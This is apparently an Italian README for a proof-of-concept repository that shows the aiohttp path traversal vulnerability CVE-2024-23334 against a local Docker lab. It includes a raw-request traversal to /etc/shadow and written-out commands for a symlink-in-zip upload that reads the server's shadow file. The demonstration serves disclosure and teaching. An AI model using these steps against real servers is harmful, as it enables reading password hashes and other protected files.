
Questo repository contiene una prova di concetto sullo sfruttamento della libreria aiohttp per la vulnerabilità segnalata CVE-2024-23334.
Questo repository contiene una proof of concept sullo sfruttamento della libreria aiohttp per la vulnerabilità segnalata CVE-2024-23334.
È stato creato per due motivi:
Per maggiori informazioni, visita il mio sito web: https://brianre.dev/
make build
make run
Se vuoi eseguire docker in modalità detached, esegui semplicemente:
make rund
python3 exploits/exploit_path_traversal.py
Eseguendo lo script, inviamo una richiesta HTTP RAW al server. Lo facciamo in questo modo e non usando curl o accedendo
direttamente dal browser perché questi strumenti includono la sanitizzazione e la normalizzazione degli URL prima di inviare la richiesta HTTP. Questo include la normalizzazione del percorso:
strumenti come curl e i browser elaborano il percorso dell'URL, rimuovendo sequenze come .. usate per il directory traversal.
Pertanto, un percorso come /static/../../../../../../../../../../../../etc/shadow verrà normalizzato in /etc/shadow,
e poiché tale percorso in genere non esiste come risorsa su un web server standard, si ottiene un errore 404.
Lo scenario creato in questo repo serve solo per spiegare la vulnerabilità e dimostrare che esiste ed è ancora sfruttabile.
Il modo per farlo è tramite un file compresso, in modo da poter caricare il symlink e, quando viene decompresso sul server, genera lo stesso symlink. Caricare un symlink tramite curl direttamente come file link.jpeg leggerà solo il file locale a cui il symlink punta e caricherà il file originale al suo posto. Quindi, se vogliamo puntare a un percorso specifico del filesystem del server, dobbiamo essere in grado di caricare un file compresso, come .zip o .tar.gz.
Per riprodurre questo secondo scenario, devi seguire questi passaggi:
touch /etc/shadow # Crea un file sulla tua macchina nella directory specificata. Assicurati di non sovrascrivere un file esistente.
ln -s /etc/shadow exploit.jpeg # Crea un symlink verso il file /etc/shadow e chiamalo exploit.jpeg
zip -y images.zip exploit.jpeg # Comprimi il symlink
curl -X POST -F "[email protected]" http://localhost:8080/upload # Carica il file zip
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Accedi al symlink e, poiché aiohttp ha la vulnerabilità, restituisce /etc/shadow dal server.
TODO
Per configurare il progetto localmente per lo sviluppo, devi:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt